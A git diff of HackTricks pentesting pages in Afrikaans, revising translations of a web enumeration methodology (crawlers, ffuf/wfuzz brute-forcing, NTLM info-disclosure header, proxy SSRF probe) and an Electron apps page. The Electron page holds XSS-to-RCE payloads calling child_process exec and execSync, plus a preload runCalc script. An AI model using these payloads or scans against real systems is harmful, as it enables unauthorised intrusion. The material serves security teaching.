-- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Laai 'n bladsy in 'n headless browser en druk al die urls wat gelaai word om die bladsy te laai.
+- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktiewe CLI HTML spider. Dit soek ook in Archive.org
+- [**meg**](https://github.com/tomnomnom/meg) (go): Hierdie tool is nie 'n spider nie maar kan nuttig wees. Jy kan net 'n lêer met hosts en 'n lêer met paths aandui en meg sal elke pad op elke host haal en die response stoor.
+- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider met JS rendering vermoëns. Dit lyk egter ononderhou; die vooraf-gekompileerde weergawe is oud en die huidige kode kompileer nie.
+- [**gau**](https://github.com/lc/gau) (go): HTML spider wat eksterne providers gebruik (wayback, otx, commoncrawl)
+- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Hierdie skrip sal URL's met parameter vind en dit lys.
+- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider met JS rendering vermoëns.
+- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, met JS beautify vermoëns wat nuwe paaie in JS files kan soek. Dit kan ook die moeite werd wees om na [JSScanner](https://github.com/dark-warlord14/JSScanner) te kyk, wat 'n wrapper van LinkFinder is.
+- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Om endpoints in beide HTML source en ingebedde javascript files te onttrek. Nuttig vir bug hunters, red teamers, infosec ninjas.
+- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): 'n python 2.7 skrip wat Tornado en JSBeautifier gebruik om relatiewe URL's uit JavaScript files te parse. Nuttig om AJAX requests maklik te ontdek. Lyk ononderhou.
+- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Gegee 'n file (HTML) sal dit URL's daaruit onttrek met 'n netjiese regular expression om relatiewe URL's uit verkorte (minify) files te kry.
+- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Versamel interessante inligting uit JS files deur verskeie tools te gebruik.
+- [**subjs**](https://github.com/lc/subjs) (go): Vind JS files.
+- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Laai 'n bladsy in 'n headless browser en druk al die urls wat gebruik word om die bladsy te laai.
 - [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Content discovery tool wat verskeie opsies van die vorige tools meng.
-- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): 'n Burp extension om paths en params in JS-lêers te vind.
-- [**Sourcemapper**](https://github.com/denandz/sourcemapper): 'n hulpmiddel wat, gegee die .js.map URL, die beautified JS-kode sal kry.
-- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Hierdie tool word gebruik om endpoints vir 'n gegewe doelwit te ontdek.
-- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Ontdek links uit die wayback machine (laai ook die responses in die wayback af en soek meer links).
-- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (selfs deur vorms in te vul) en vind ook sensitiewe inligting gebruikende spesifieke regexes.
-- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is 'n gevorderde multi-feature GUI web security Crawler/Spider ontwerp vir cyber security professionele.
-- [**jsluice**](https://github.com/BishopFox/jsluice) (go): 'n Go pakket en [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) om URLs, paths, secrets en ander interessante data uit JavaScript-bronkode te onttrek.
-- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge is 'n eenvoudige **Burp Suite extension** om **paramters en endpoints** uit die requests te onttrek om 'n custom wordlist vir fuzzing en enumerasie te skep.
+- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): 'n Burp extension om path en params in JS files te vind.
+- [**Sourcemapper**](https://github.com/denandz/sourcemapper): 'n tool wat gegewe die .js.map URL die beautified JS kode kry.
+- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Hierdie is 'n tool wat gebruik word om endpoints vir 'n gegewe target te ontdek.
+- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Ontdek links vanaf die wayback machine (laai ook die responses in die wayback af en soek vir meer links).
+- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (selfs deur forms in te vul) en vind ook sensitiewe inligting deur spesifieke regexes.
+- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is 'n gevorderde multi-feature GUI web security Crawler/Spider ontwerp vir kuberveiligheidsprofessionals.
+- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Dit is 'n Go package en [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) vir die onttrekking van URLs, paths, secrets, en ander interessante data uit JavaScript bronkode.
+- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge is 'n eenvoudige **Burp Suite extension** om **die parameters en endpoints te onttrek** uit requests om custom wordlist vir fuzzing en enumerasie te skep.
 - [**katana**](https://github.com/projectdiscovery/katana) (go): Awesome tool hiervoor.
 - [**Crawley**](https://github.com/s0rg/crawley) (go): Druk elke link wat dit kan vind.
 
 ### Brute Force directories and files
 
-Begin met **brute-forcing** vanaf die root-gids en maak seker om **al** die **gevonde directories** te brute-force met **dié metode** en alle directories wat deur die **Spidering** ontdek is (jy kan dit **rekursief** doen en aan die begin van die gebruikte wordlist die name van die gevonde directories toevoeg).\
+Begin met **brute-forcing** vanaf die root vouer en maak seker om **alle** die **directories wat gevind word** te brute-force deur **hierdie metode** en al die directories **ontdek** deur die **Spidering** (jy kan dit rekursief brute-forceer en by die begin van die gebruikte wordlist die name van die gevonde directories bysit).\
 Tools:
 
-- **Dirb** / **Dirbuster** - Ingesluit in Kali, **oud** (en **stadig**) maar funksioneel. Ondersteun self-getekende sertifikate en rekursiewe soektog. Baie stadiger vergeleke met die ander opsies.
-- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Dit laat nie self-getekende sertifikate toe nie maar** ondersteun rekursiewe soektog.
-- [**Gobuster**](https://github.com/OJ/gobuster) (go): Ondersteun self-getekende sertifikate, dit het egter **nie** 'n **rekursiewe** soektog nie.
-- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Vinnig, ondersteun rekursiewe soektog.**
+- **Dirb** / **Dirbuster** - Ingesluit in Kali, **oud** (en **traag**) maar funksioneel. Laat self-gesertifiseerde sertifikate toe en rekursiewe soektog. Te stadig vergeleke met die ander opsies.
+- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Dit laat nie self-gesertifiseerde sertifikate toe nie maar** laat rekursiewe soektog toe.
+- [**Gobuster**](https://github.com/OJ/gobuster) (go): Dit laat self-gesertifiseerde sertifikate toe, dit **het nie** **rekursiewe** soektog nie.
+- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.**
 - [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
-- [**ffuf** ](https://github.com/ffuf/ffuf)- Vinnig: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
-- [**uro**](https://github.com/s0md3v/uro) (python): Dit is nie 'n spider nie maar 'n hulpmiddel wat, gegee die lys van gevonde URLs, "gedupliseerde" URLs sal verwyder.
-- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension om 'n lys van directories te skep vanaf die burp history van verskeie bladsye.
-- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Verwyder URLs met gedupliseerde funksionaliteite (gebaseer op js imports).
-- [**Chamaleon**](https://github.com/iustin24/chameleon): Gebruik wapalyzer om gebruikte tegnologieë te ontdek en kies die woordlyste om te gebruik.
+- [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
+- [**uro**](https://github.com/s0md3v/uro) (python): Dit is nie 'n spider nie maar 'n tool wat gegewe 'n lys van gevonde URLs "gedupliseerde" URLs sal verwyder.
+- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension om 'n lys directories te skep vanaf die burp history van verskeie bladsye.
+- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Verwyder URL's met gedupliseerde funksionaliteite (gebaseer op js imports).
+- [**Chamaleon**](https://github.com/iustin24/chameleon): Dit gebruik wapalyzer om gebruikte tegnologieë te detect en kies die wordlists om te gebruik.
 
-**Aanbevole woordlyste:**
+**Aanbevole woordeboeke:**
 
 - [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
 - [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
@@ -269,41 +268,41 @@ Tools:
 - _/usr/share/wordlists/dirb/big.txt_
 - _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
 
-Let wel dat elke keer as 'n nuwe directory tydens brute-forcing of spidering ontdek word, dit weer Brute-Forced moet word.
+_Let daarop dat enige tyd 'n nuwe directory ontdek word tydens brute-forcing of spidering, dit Brute-Forced moet word._
 
-### Wat om op elke gevonde lêer te kontroleer
+### What to check on each file found
 
-- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Vind gebroke skakels binne HTML's wat vatbaar kan wees vir takeovers.
-- **File Backups**: Sodra jy al die lêers gevind het, soek vir rugsteunweergawes van al die uitvoerbare lêers ("_.php_", "_.aspx_"...). Algemene variasies vir die benoeming van 'n rugsteun is: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ Jy kan ook die hulpmiddel [**bfac**](https://github.com/mazen160/bfac) **of** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** gebruik.**
-- **Discover new parameters**: Jy kan tools soos [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **en** [**Param Miner**](https://github.com/PortSwigger/param-miner) **gebruik om versteekte parameters te ontdek. Indien moontlik, probeer om versteekte parameters op elke uitvoerbare web-lêer te soek.**
+- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Vind gebroke links binne HTML's wat vatbaar kan wees vir takeovers.
+- **File Backups**: Sodra jy al die files gevind het, soek na backups van alle uitvoerbare files ("_.php_", "_.aspx_"...). Algemene variasies vir die benoeming van 'n backup is: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ Jy kan ook die tool [**bfac**](https://github.com/mazen160/bfac) **of** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** gebruik.**
+- **Discover new parameters**: Jy kan tools soos [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **en** [**Param Miner**](https://github.com/PortSwigger/param-miner) **gebruik om verstekte parameters te ontdek. Indien moontlik, kan jy probeer om verstekte parameters op elke uitvoerbare web file te soek.**
 - _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
 - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
 - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
 - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
-- **Comments:** Kontroleer die comments van al die lêers; jy kan **credentials** of **versteekte funksionaliteit** vind.
-- As jy 'n **CTF** speel, is 'n "algemene" truuk om **inligting** in comments regs op die **bladsy** te **versteek** (deur honderde spasies te gebruik sodat jy die data nie sien as jy die bronkode in die blaaier oopmaak nie). 'n Ander moontlikheid is om verskeie reëls op te neem en inligting in 'n comment onder aan die webblad te versteek.
-- **API keys**: As jy enige API key vind, is daar 'n gids wat aandui hoe om API keys van verskeie platforms te gebruik: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
-- Google API keys: As jy 'n API key vind wat soos **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik lyk, kan jy die projek [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) gebruik om te kontroleer watter apis die sleutel kan toegang gee.
-- **S3 Buckets**: Terwyl jy spidering doen, kyk of enige subdomain of enige skakel met 'n S3 bucket verband hou. In daardie geval, [**kontroleer** die **toestemmings** van die bucket](buckets/index.html).
+- **Comments:** Kontroleer die comments van alle files; jy kan **credentials** of **hidden functionality** daar vind.
+- As jy in 'n **CTF** speel, is 'n "gewone" truuk om **inligting** in comments regs van die **bladsy** te **versteek** (deur **honderde** spasies te gebruik sodat jy die data nie sien as jy die source met die blaaier oopmaak nie). 'n Ander moontlikheid is om verskeie nuwe lyne te gebruik en inligting in 'n comment aan die **onderkant** van die webblad te verstop.
+- **API keys**: As jy enige API key vind is daar 'n gids wat aandui hoe om API keys van verskillende platforms te gebruik: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
+- Google API keys: As jy 'n API key vind wat soos **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik lyk kan jy die projek [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) gebruik om te kyk watter apis die sleutel kan toegang gee.
+- **S3 Buckets**: Terwyl jy spider, kyk of enige **subdomain** of enige **link** verband hou met 'n **S3 bucket**. In daardie geval, [**check** the **permissions** of the bucket](buckets/index.html).
 
-### Spesiale vondste
+### Special findings
 
-**Terwyl** jy die **spidering** en **brute-forcing** doen, kan jy **interessante** **items** vind wat jy moet **notuleer**.
+**Terwyl** jy die **spidering** en **brute-forcing** uitvoer, kan jy **interessante** **vindings** kom wat jy moet **aanteken**.
 
 **Interessante lêers**
 
-- Kyk vir **links** na ander lêers binne die **CSS**-lêers.
-- [As jy 'n _**.git**_ lêer vind, kan sekere inligting onttrek word](git.md)
-- As jy 'n _**.env**_ vind, kan inligting soos api sleutels, db wagwoorde en ander inligting gevind word.
-- As jy **API endpoints** vind, behoort jy [dit ook te toets](web-api-pentesting.md). Dit is nie lêers nie, maar sal waarskynlik soos lêers lyk.
-- **JS files**: In die spidering-afdeling is verskeie tools genoem wat paadjies uit JS-lêers kan onttrek. Dit sal ook interessant wees om **elke JS-lêer wat gevind is te monitor**, aangesien 'n verandering soms aandui dat 'n potensiële kwesbaarheid in die kode ingebring is. Jy kan byvoorbeeld [**JSMon**](https://github.com/robre/jsmon)** gebruik.**
-- Jy moet ook ontdekte JS-lêers kontroleer met [**RetireJS**](https://github.com/retirejs/retire.js/) of [**JSHole**](https://github.com/callforpapers-source/jshole) om te sien of dit kwesbaar is.
+- Kyk vir **links** na ander files binne die **CSS** files.
+- [If you find a _**.git**_ file some information can be extracted](git.md)
+- As jy 'n _**.env**_ vind kan inligting soos api keys, dbs passwords en ander data gevind word.
+- As jy **API endpoints** vind, [should also test them](web-api-pentesting.md). Dit is nie lêers nie, maar sal waarskynlik "soos" lêers lyk.
+- **JS files**: In die spidering afdeling is verskeie tools genoem wat paths uit JS files kan onttrek. Dit sal ook interessant wees om **elke JS file gevind te monitor**, aangesien in sekere gevalle 'n verandering kan aandui dat 'n potensiële kwesbaarheid in die kode ingevoer is. Jy kan byvoorbeeld [**JSMon**](https://github.com/robre/jsmon)** gebruik.**
+- Jy moet ook ontdekte JS files met [**RetireJS**](https://github.com/retirejs/retire.js/) of [**JSHole**](https://github.com/callforpapers-source/jshole) nagaan om te sien of dit kwesbaar is.
 - **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
 - **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
 - **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
-- **TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
+- **TrainFuck**](https://github.com/taco-cy/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
 - In verskeie gevalle sal jy die regular expressions wat gebruik word moet verstaan. Dit sal nuttig wees: [https://regex101.com/](https://regex101.com) of [https://pythonium.net/regex](https://pythonium.net/regex)
-- Jy kan ook die lêers monitor waar vorms gedetekteer is, aangesien 'n verandering in die parameter of die verskyning van 'n nuwe vorm 'n aanduiding van 'n potensiële nuwe kwesbare funksionaliteit kan wees.
+- Jy kan ook die files wat vorms bevat monitor, aangesien 'n verandering in die parameter of die verskyning van 'n nuwe vorm 'n aanduiding kan wees van 'n nuwe moontlike kwesbare funksionaliteit.
 
 **403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
 
@@ -314,38 +313,38 @@ Let wel dat elke keer as 'n nuwe directory tydens brute-forcing of spidering ont
 
 **502 Proxy Error**
 
-As enige bladsy met daardie kode reageer, is dit waarskynlik 'n sleg gekonfigureerde proxy. **As jy 'n HTTP versoek stuur soos: `GET https://google.com HTTP/1.1`** (met die host header en ander algemene headers), sal die **proxy** probeer om _**google.com**_ te bereik en jy het 'n SSRF gevind.
+As enige bladsy met daardie kode **antwoord**, is dit waarskynlik 'n **sleg gekonfigureerde proxy**. **As jy 'n HTTP request stuur soos: `GET https://google.com HTTP/1.1`** (met die host header en ander gewone headers), sal die **proxy** probeer om _**google.com**_ te **toegang** en jy het 'n SSRF gevind.
 
 **NTLM Authentication - Info disclosure**
 
-As die bediener wat vir authentication vra 'n **Windows** bediener is of jy vind 'n login wat vir jou **credentials** vra (en vir 'n **domain** **name** vra), kan jy 'n **inligtingslek** veroorsaak.\
-**Stuur** die **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` en weens hoe die **NTLM authentication** werk, sal die bediener met interne inligting (IIS version, Windows version...) binne die header "WWW-Authenticate" antwoord.\
+As die bediener wat authentikeering vra **Windows** is of jy vind 'n login wat vir jou **credentials** vra (en vra vir **domain** **name**), kan jy 'n **inligtingvrylating** veroorsaak.\
+**Stuur** die **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` en as gevolg van hoe **NTLM authentication** werk, sal die bediener met interne inligting (IIS version, Windows version...) in die header "WWW-Authenticate" antwoord.\
 Jy kan dit **outomatiseer** met die **nmap plugin** "_http-ntlm-info.nse_".
 
 **HTTP Redirect (CTF)**
 
-Dit is moontlik om **inhoud** binne 'n **Redirect** te plaas. Hierdie inhoud **sal nie aan die gebruiker gewys word nie** (aangesien die blaaier die redirect sal uitvoer) maar iets kan daarin **weggesteek** wees.
+Dit is moontlik om **inhoud** binne 'n **Redirection** te sit. Hierdie inhoud **word nie aan die gebruiker gewys** nie (aangesien die blaaier die redirection sal uitvoer) maar iets kan daarin **weggesteek** wees.
 
-### Kontrole van Web-kwesbaarhede
+### Web Vulnerabilities Checking
 
-Nou dat 'n omvattende enumerasie van die web-toepassing uitgevoer is, is dit tyd om vir 'n lang lys moontlike kwesbaarhede te toets. Jy kan die checklist hier kry:
+Nou dat 'n omvattende enumerasie van die web toepassing uitgevoer is, is dit tyd om vir 'n groot aantal moontlike kwesbaarhede te toets. Jy kan die checklist hier vind:
 
 
 {{#ref}}
 ../../pentesting-web/web-vulnerabilities-methodology.md
 {{#endref}}
 
-Vind meer inligting oor web vulns by:
+Vind meer inligting oor web vulns in:
 
 - [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
 - [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html)
 - [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection)
 
-### Moniteer bladsye vir veranderinge
+### Monitor Pages for changes
 
-Jy kan hulpmiddels soos [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) gebruik om bladsye te monitor vir wysigings wat kwesbaarhede kan inbring.
+Jy kan tools soos [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) gebruik om bladsye te monitor vir wysigings wat kwesbaarhede kan invoeg.
 
-### HackTricks Outomatiese Opdragte
+### HackTricks Automatic Commands
 ```
 Protocol_Name: Web    #Protocol Abbreviation if there is one.
 Port_Number:  80,443     #Comma separated if there is more than one.
diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md
index e2e98b98e..c6260190f 100644
--- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md
+++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md
@@ -1,17 +1,17 @@
-# Electron Desktop-toepassings
+# Electron Bureaublad-apps
 
 {{#include ../../../banners/hacktricks-training.md}}
 
 ## Inleiding
 
-Electron kombineer 'n plaaslike backend (met **NodeJS**) en 'n frontend (**Chromium**), alhoewel dit sekere sekuriteitsmeganismes van moderne blaaiers ontbreek.
+Electron kombineer 'n plaaslike backend (met **NodeJS**) en 'n frontend (**Chromium**), alhoewel dit 'n paar van die sekuriteitsmeganismes van moderne blaaiers ontbreek.
 
-Gewoonlik sal jy die Electron-app-kode binne 'n `.asar` aansoek vind; om die kode te verkry moet jy dit uitpak:
+Gewoonlik sal jy die Electron app code binne 'n `.asar`-toepassing vind; om die code te verkry moet jy dit onttrek:
 ```bash
 npx asar extract app.asar destfolder #Extract everything
 npx asar extract-file app.asar main.js #Extract just a file
 ```
-In die bronkode van 'n Electron app, binne `packet.json`, kan jy die aangeduide `main.js`-lêer vind waar sekuriteitskonfigurasies gestel is.
+In die bronkode van ’n Electron-app, binne `packet.json`, kan jy die gespesifiseerde `main.js`-lêer vind waarin sekuriteitskonfigurasies gestel is.
 ```json
 {
 "name": "standard-notes",
@@ -19,8 +19,8 @@ In die bronkode van 'n Electron app, binne `packet.json`, kan jy die aangeduide
 ```
 Electron het 2 proses-tipes:
 
-- Main Process (het volledige toegang tot NodeJS)
-- Renderer Process (moet vir sekuriteitsredes beperkte toegang tot NodeJS hê)
+- Main Process (het volle toegang tot NodeJS)
+- Renderer Process (moet beperkte NodeJS-toegang hê vir sekuriteitsredes)
 
 ![](<../../../images/image (182).png>)
 
@@ -32,20 +32,20 @@ let win = new BrowserWindow()
 //Open Renderer Process
 win.loadURL(`file://path/to/index.html`)
 ```
-Instellings van die **renderer-proses** kan in die **main-proses** binne die main.js-lêer **gekonfigureer** word. Sommige van die konfigurasies sal **voorkom dat die Electron-toepassing RCE kry** of ander kwesbaarhede as die **instellings korrek gekonfigureer** is.
+Instellings van die **renderer process** kan in die **main process** binne die main.js-lêer **gekonfigureer** word. Sommige van die konfigurasies sal **voorkom dat die Electron application RCE kry** of ander kwesbaarhede as die **instellings korrek gekonfigureer** is.
 
-Die Electron-toepassing **kan toegang tot die toestel kry** via Node apis alhoewel dit gekonfigureer kan word om dit te voorkom:
+Die Electron application **kan toegang tot die toestel kry** via Node apis alhoewel dit gekonfigureer kan word om dit te voorkom:
 
-- **`nodeIntegration`** - is `off` per verstek. As dit aan is, laat dit toe om Node-funksies vanaf die renderer-proses te gebruik.
-- **`contextIsolation`** - is `on` per verstek. As dit `off` is, is die main- en renderer-prosesse nie geïsoleer nie.
-- **`preload`** - leeg per verstek.
-- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - is `off` per verstek. Dit sal die aksies beperk wat NodeJS kan uitvoer.
-- Node-integrasie in Workers
-- **`nodeIntegrationInSubframes`** - is `off` per verstek.
-- As **`nodeIntegration`** **geaktiveer** is, sal dit die gebruik van **Node.js APIs** toelaat in webblaaie wat **gelaai is in iframes** binne 'n Electron-toepassing.
-- As **`nodeIntegration`** **gedeaktiveer** is, sal preloads dan in die iframe gelaai word
+- **`nodeIntegration`** - is `off` standaard. As dit aan is, laat dit toe om toegang te kry tot Node-funksies vanaf die renderer process.
+- **`contextIsolation`** - is `on` standaard. If `off`, main and renderer processes aren't isolated.
+- **`preload`** - leeg standaard.
+- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - is `off` standaard. Dit sal die aksies wat NodeJS kan uitvoer beperk.
+- Node Integration in Workers
+- **`nodeIntegrationInSubframes`** - is `off` standaard.
+- If **`nodeIntegration`** is **enabled**, this would allow the use of **Node.js APIs** in web pages that are **loaded in iframes** within an Electron application.
+- If **`nodeIntegration`** is **disabled**, then preloads will load in the iframe
 
-Voorbeeld van konfigurasie:
+Example of configuration:
 ```javascript
 const mainWindowOptions = {
 title: "Discord",
@@ -95,15 +95,15 @@ onerror="alert(require('child_process').execSync('ls -l').toString());" />
 src="x"
 onerror="alert(require('child_process').execSync('uname -a').toString());" />
 ```
-### Vang netwerkverkeer
+### Vang verkeer
 
-Wysig die start-main-konfigurasie en voeg die gebruik van 'n proxy soos:
+Wysig die start-main-konfigurasie en voeg die gebruik van 'n proxy by, soos:
 ```javascript
 "start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
 ```
 ## Electron Local Code Injection
 
-As jy 'n Electron App lokaal kan uitvoer, is dit moontlik dat jy dit kan dwing om willekeurige javascript-kode uit te voer. Kyk hoe in:
+As jy 'n Electron App plaaslik kan uitvoer, is dit moontlik dat jy dit kan laat uitvoer arbitrêre javascript code. Kyk hoe in:
 
 
 {{#ref}}
@@ -112,7 +112,7 @@ As jy 'n Electron App lokaal kan uitvoer, is dit moontlik dat jy dit kan dwing o
 
 ## RCE: XSS + nodeIntegration
 
-As die **nodeIntegration** op **on** gestel is, kan 'n webblad se JavaScript maklik Node.js-funksies gebruik net deur die `require()` aan te roep. Byvoorbeeld, die manier om die calc-toepassing op Windows uit te voer is:
+As die **nodeIntegration** op **on** gestel is, kan 'n webblad se JavaScript Node.js-funksies maklik gebruik net deur die `require()` aan te roep. Byvoorbeeld, die manier om die calc toepassing op Windows uit te voer is:
 ```html
 <script>
 require("child_process").exec("calc")
@@ -124,7 +124,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
 
 ## RCE: preload
 
-Die script wat in hierdie instelling aangedui word is l**oaded before other scripts in the renderer**, dus het dit **onbeperkte toegang tot Node APIs**:
+Die skrip wat in hierdie instelling aangedui word, word **gelaai voor ander skripte in die renderer**, sodat dit **onbeperkte toegang tot Node APIs**:
 ```javascript
 new BrowserWindow{
 webPreferences: {
@@ -133,7 +133,7 @@ preload: _path2.default.join(__dirname, 'perload.js'),
 }
 });
 ```
-Daarom kan die script node-features na bladsye uitvoer:
+Daarom kan die skrip node-features na bladsye uitvoer:
 ```javascript:preload.js
 typeof require === "function"
 window.runCalc = function () {
@@ -149,17 +149,17 @@ runCalc()
 </script>
 </body>
 ```
-> [!NOTE] > **As `contextIsolation` aan is, sal dit nie werk nie**
+> [!NOTE] > **As `contextIsolation` aangeskakel is, sal dit nie werk nie**
 
 ## RCE: XSS + contextIsolation
 
-Die _**contextIsolation**_ skep **afgeskeide kontekste tussen die webblad se skripte en die Electron se interne JavaScript-kode** sodat die JavaScript-uitvoering van elke kode mekaar nie beïnvloed nie. Dit is 'n nodige funksie om die moontlikheid van RCE uit te skakel.
+Die _**contextIsolation**_ skep geskeide kontekste tussen die webblad-skripte en die JavaScript van Electron se interne kode, sodat die uitvoering van die JavaScript-kode van elk mekaar nie beïnvloed nie. Dit is 'n noodsaaklike funksie om die moontlikheid van RCE uit te skakel.
 
-As die kontekste nie geïsoleer is nie, kan 'n aanvaller:
+As die kontekste nie geïsoleer is nie kan 'n aanvaller:
 
-1. Voer **arbitrary JavaScript in renderer** uit (XSS of navigasie na eksterne webwerwe)
-2. **Overwrite the built-in method** wat in preload of Electron se interne kode gebruik word om beheer oor die funksie te kry
-3. **Trigger** die gebruik van die **overwritten function**
+1. Voer **willekeurige JavaScript in die renderer uit** (XSS of navigasie na eksterne webwerwe)
+2. **Oorskryf die ingeboude metode** wat in preload of Electron se interne kode gebruik word om die funksie oor te neem
+3. **Activeer** die gebruik van die **oorskryfde funksie**
 4. RCE?
 
 Daar is 2 plekke waar ingeboude metodes oorskryf kan word: In preload-kode of in Electron se interne kode:
@@ -179,24 +179,24 @@ electron-contextisolation-rce-via-electron-internal-code.md
 electron-contextisolation-rce-via-ipc.md
 {{#endref}}
 
